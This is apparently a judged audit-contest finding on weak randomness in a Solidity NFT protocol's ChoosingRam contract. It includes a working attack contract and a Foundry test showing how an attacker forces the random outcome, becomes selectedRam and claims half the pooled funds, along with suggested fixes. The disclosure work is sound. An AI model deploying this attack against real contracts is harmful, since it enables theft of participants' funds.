Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness in `ChoosingRam::increaseValuesOfParticipants()` enables users to manipulate the function's outcome

Summary

The ChoosingRam::increaseValuesOfParticipants() function is intended to increase the attributes of the user's RamNFT. When a RamNFT is minted, it stores the address of the minter (RamNFT::CharacteristicsOfRam.ram) and defaults 5 characteristics to false:

Characteristics[newTokenId] = CharacteristicsOfRam({
ram: to,
isJitaKrodhah: false,
isDhyutimaan: false,
isVidvaan: false,
isAatmavan: false,
isSatyavaakyah: false
});

When all of these characteristics are set to true, RamNFT::CharacteristicsOfRam.ram becomes the ChoosingRam::selectedRam. The ChoosingRam::selectedRam has access to the Dussehra::withdraw() function. Dussehra::withdraw() allows the ChoosingRam::selectedRam to have a share of the funds derived from each entry into the protocol (Dussehra::totalAmountGivenToRam)

The ChoosingRam::increaseValuesOfParticipants() requires two uint256 arguments

function increaseValuesOfParticipants(uint256 tokenIdOfChallenger, uint256 tokenIdOfAnyPerticipent)

The function uses this formula to create a random number:
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % 2;

  • If the random number is 0, then a characteristic of tokenIdOfChallenger's (msg.sender) RamNFT will be flipped to true. If a user is able to do this 5 times, then their address will be chosen as ChoosingRam::selectedRam.

  • If the random number is not 0, then the RamNFT for the second argument provided (presumably a user chosen at random) will have a characteristic switched to true

The user chosen as ChoosingRam::selectedRam will have access to the Dussehra::withdraw() function which will give 50% of the total mint funds to the user.

Vulnerability Details

This is an example attack contract:

  • The attack function will take two uint256 parameters that will be passed to ChoosingRam::increaseValuesOfParticipants()

  • A while loop is utilized to continuously run the random calculation until random = 0.

  • When random = 0, the contract calls ChoosingRam::increaseValuesOfParticipants

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
interface IChoosingRam {
function increaseValuesOfParticipants(uint256, uint256) external;
}
contract AttackChoosingRam is IERC721Receiver {
IChoosingRam immutable target;
address private immutable owner;
constructor(address _target) {
target = IChoosingRam(_target);
owner = msg.sender;
}
function attack(uint256 myId, uint256 dummy) public {
bool found = false;
uint256 random;
while (!found) {
random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, address(this)))) % 2;
if (random == 0) {
found = true;
}
}
target.increaseValuesOfParticipants(myId, dummy);
}
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
return this.onERC721Received.selector;
}
function withdraw() public {
if (msg.sender != owner) {
revert();
}
(bool success, ) = msg.sender.call{value: address(this).balance}("");
if (!success) {
revert();
}
}
receive() external payable {}
}
  • The contract should be able to receive ether (so it can enter the protocol and claim the reward)

  • The contract should be able to receive NFTs

  • A withdraw function for the attacker to withdraw the funds

This foundry test shows that the attacker can call the function 5 times and become ChoosingRam::selectedRam:

function setUp() public {
vm.startPrank(organiser);
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(1 ether, address(choosingRam), address(ramNFT));
ramNFT.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
vm.startPrank(attacker);
attack = new AttackChoosingRam(address(choosingRam));
vm.stopPrank();
vm.deal(address(attack), 10 ether);
vm.deal(player1, 10 ether);
vm.startPrank(address(attack));
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player1);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
}
function test_attackWorks() public {
vm.startPrank(attacker);
attack.attack(0,1);
assertEq(ramNFT.getCharacteristics(0).isJitaKrodhah, true);
attack.attack(0,1);
assertEq(ramNFT.getCharacteristics(0).isDhyutimaan, true);
attack.attack(0,1);
assertEq(ramNFT.getCharacteristics(0).isVidvaan, true);
attack.attack(0,1);
assertEq(ramNFT.getCharacteristics(0).isAatmavan, true);
attack.attack(0,1);
assertEq(ramNFT.getCharacteristics(0).isSatyavaakyah, true);
assertEq(choosingRam.selectedRam(),address(attack));
vm.stopPrank();
}

Impact

This is a high risk vulnerability that allows a user to manipulate the "randomness" mechanic employed by the protocol.

Due to weak randomness, a user can easily manipulate ChoosingRam::increaseValuesOfParticipants() to quickly become ChoosingRam::selectedRam. The ChoosingRam::selectedRam status allows the user to withdraw 50% of the minting funds through the Dussehra::withdraw() function.

The system is meant to be random, and the funds are meant to be rewarded to a user through luck based mechanics.

A user can create an attack contract that manipulates the randomness used in the protocol rendering the randomness useless. Anyone that deploys a simple attack contract will gain 50% of the funds raised with ease.

Tools Used

  • Manual Review

  • Foundry

Recommendations

Don't allow contracts to enter the protocol.

  • When a user tries to enter the protocol through Dussehra::enterPeopleWhoLikeRam, we can prevent contracts from entering:

function _isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}

Dussehra::enterPeopleWhoLikeRam()

function enterPeopleWhoLikeRam() public payable {
...
+ if (_isContract(msg.sender)) {
+ revert();
+ }
...
}
  • This would mitigate users from entering contracts that exploit weak randomness, but this is still something that may be exploited by validators.

The best solution would be to use off-chain methods such as ChainlinkVRF to create randomness.

Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::increaseValuesOfParticipants`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.